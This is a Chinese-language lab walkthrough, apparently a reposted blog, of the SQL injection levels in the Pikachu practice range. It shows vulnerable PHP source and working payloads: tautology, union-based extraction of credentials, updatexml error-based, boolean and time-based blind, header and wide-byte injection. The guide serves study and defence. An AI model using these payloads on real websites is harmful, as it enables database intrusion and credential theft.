pikachu靶場-Sql Inject(SQL 注入)


一、概述

在owasp發布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首當其沖的就是數據庫注入漏洞。
一個嚴重的SQL注入漏洞,可能會直接導致一家公司破產!
SQL注入漏洞主要形成的原因是在數據交互中,前端的數據傳入到后台處理時,沒有做嚴格的判斷,導致其傳入的“數據”拼接到SQL語句中后,被當作SQL語句的一部分執行。 從而導致數據庫受損(被脫褲、被刪除、甚至整個服務器權限淪陷)。
在構建代碼時,一般會從如下幾個方面的策略來防止SQL注入漏洞:
1.對傳進SQL語句里面的變量進行過濾,不允許危險字符傳入;
2.使用參數化(Parameterized Query 或 Parameterized Statement);
3.還有就是,目前有很多ORM框架會自動使用參數化解決注入問題,但其也提供了"拼接"的方式,所以使用時需要慎重!

 

注:GET與POST區別

①GET方式中使用URL提交注入數據

②POST方式中使用抓包工具修改POST數據部分提交注入

 

 

 

 

二、數字型注入(post)

 

 

 ①我們選擇ID,觀察到URL沒有參數變化,直接采取抓包。

 

 

 

 

 

 ②其實我們可以在phpstduy中的sql命令行中打開數據庫終端查詢查詢對應的內容。

命令:show database;(顯示所有數據庫)

 

 

命令:use pikachu;(切換至pikachu數據庫)

命令:show tables; (查看pikachu數據庫中所有的表)

 

 

 命令:desc member;(降序查看member表中字段  注:asc為升序)

 

 

 命令:select from username,email from member where id = 1;(顯示出member表中id=1的username和email信息)

命令:select from username,email from member where id=1 or 1=1;(我們在尾綴加上or 1=1,這樣where后的表達式永遠成立執行,就會查詢出所有的信息)

 

 

 ②我們在burpsuite中的Repeater模塊中修改數據包重新發送,就查詢出了所有的信息。

 

 

 

三、字符型注入(get)

 

 

 ①我們以kobe為例測試一下

 

 

 ②我們構造一下注入語句,猜測是以單引號包裹的username 

構造語句:kobe ’ or 1=1 #

還真被我們猜中了

 

 

 ③觀察源碼,可以看出以是單引號包裹的

if(isset($_GET['submit']) && $_GET['name']!=null){
    //這里沒有做任何處理,直接拼到select里面去了
    $name=$_GET['name'];
    //這里的變量是字符型,需要考慮閉合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您輸入的username不存在,請重新輸入!</p>";
    }
}

  

四、搜索型注入

 

 

 ①查看源碼

if(isset($_GET['submit']) && $_GET['name']!=null){

    //這里沒有做任何處理,直接拼到select里面去了
    $name=$_GET['name'];

    //這里的變量是模糊匹配,需要考慮閉合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:這里還有個xss
        $html2.="<p class='notice'>用戶名中含有{$_GET['name']}的結果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..沒有搜索到你輸入的信息!</p>";
    }
}

 ②構造注入語句 k%’ or 1=1#

 

 

 

五、xx型注入

 

 

 ①觀察源碼,發現包裹變為了(‘’)

if(isset($_GET['submit']) && $_GET['name']!=null){
    //這里沒有做任何處理,直接拼到select里面去了
    $name=$_GET['name'];
    //這里的變量是字符型,需要考慮閉合
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您輸入的username不存在,請重新輸入!</p>";
    }
}

 ②構造注入語句 kobe’) or 1=1#

 

 

 六、聯合查詢(以xx型注入為例)

①通過order by 判斷列數

1') order by 3#

 

 

1') order by 2#

 

 

可以看出有兩列

②查詢數據庫

1') union select 1,database() #

 

 

③查詢數據庫中的表

1') union select 1,table_name from information_schema.tables where table_schema='pikachu' #

 

 

④查詢表的字段

1') union select 1,column_name from information_schema.columns where table_name='users'#

 

 

⑤查表字段值

1') union select username,password from pikachu.users#

 

 

七、Insert/update注入

 

 報錯注入我們在sql-lab系列中已經詳細講解過了

①1' and updatexml(1,concat(0x7e,database()),1) or '1' = '1

 

 ②1' and updatexml(1,concat(0x7e,(select(concat_ws(0x7e,username,password)) from pikachu.users limit0,1)),1) or '1' = '1

 

 

 八、delete注入

 ①我們在留言完成后,點擊刪除留言時開啟代理,利用burpsuite抓包,發現了id數據

 

 ②發送至Repeater模塊,修改數據包為,並將其轉換為url編碼

id=1 and updatexml(1,concat(0x7e,(select (concat_ws(0x7e,username,password)) from pikachu.uses limit0,1)),1)

 

 

 

 

 

 

 

九、http header注入

 原理:開發人員為了驗證客戶信息(比如cookie驗證)或者通過http header頭信息獲取客戶端的一些信息,不如useragent、accept字段等會對客戶端的http header信息進行獲取並使用sql進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header 的sql注入漏洞。

首先登陸admin-123456

 

 

 

 發現對頭部信息的獲取,所以可能存在注入

①抓包

 

 ②發送至Repeater模塊,修改user-agent或者cookie完成注入

 firefox' or updatexml(1,concat(0x7e,database()),0) or '

 

 

 

 

十、盲注(base on boolian)

 

 布爾盲注

kobe' and ascii(substr(database(),1,1))>113#

我們利用ascii函數對數據庫第一個字母進行編碼,然后利用二分法逐一判斷。

圖中是 =112 就是p

 

 

 

十一、盲注(base on time)

 輸入 kobe’ and sleep(5)#

網頁加載5s后顯示結果

 

 

 kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

根據延時我們判斷

 substr函數將數據庫中第一個字母拿出來和p做比較,利用if判斷,如果為p則5s后返回。

 

 

十二、寬字節注入

當我們輸入有單引號時被轉義為\’,無法構造 SQL 語句的時候,可以嘗試寬字節注入。

GBK編碼中,反斜杠的編碼是 “%5c”,而 “%df%5c” 是繁體字 “連”。在皮卡丘平台中,將利用 BurpSuite 截獲數據包,發送到 Repeater 中,在里面寫入payload,當我們用通常的測試 payload時,是無法執行成功的

因為在后台單引號會被轉義,在數據庫中執行多了反斜杠,可以使用下面的payload,在單引號前面加上%df,繞過這個WAF。

kobe %df' or 1=1#

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM